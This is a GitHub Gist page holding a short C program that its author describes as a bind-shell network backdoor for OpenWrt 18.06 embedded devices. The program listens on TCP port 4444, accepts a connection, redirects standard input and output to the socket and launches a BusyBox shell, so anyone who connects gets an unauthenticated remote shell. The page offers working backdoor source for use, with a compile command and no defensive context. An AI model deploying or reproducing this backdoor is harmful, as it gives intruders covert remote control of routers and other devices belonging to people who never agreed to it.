-
-
Save djeraseit/21ea77f1903e65654132d7f9c8aca40a to your computer and use it in GitHub Desktop.
Bind shell network backdoor for embedded devices (tested on OpenWrt 18.06 firmware)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <stdlib.h> | |
#define BACKDOOR_PORT 4444 | |
/* Author: Piyush Raj (0x48piraj) | |
* Bind Shell for OpenWrt 18.06 firmware, handles one connection per execution | |
* Arch : i486 | |
* ./i486-openwrt-linux-musl-gcc bindshell-unstable.c -o bindshell | |
*/ | |
int main() | |
{ | |
int dup2(int oldfd, int newfd); | |
int execve(const char *path, char *args[], char envp[]); | |
char *args[] = { "/bin/busybox", "sh", (char *) 0 }; | |
int h_sock = socket(AF_INET, SOCK_STREAM, 0); | |
struct sockaddr_in h_addr; | |
h_addr.sin_family = AF_INET; | |
h_addr.sin_port = htons(BACKDOOR_PORT); | |
h_addr.sin_addr.s_addr = INADDR_ANY; | |
bind(h_sock, (struct sockaddr *)&h_addr, sizeof(h_addr)); | |
listen(h_sock, 0); | |
int c_sock = accept(h_sock, NULL, NULL); | |
dup2(c_sock, 0); | |
dup2(c_sock, 1); | |
dup2(c_sock, 2); | |
execve("/bin/busybox", args, (char *) 0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment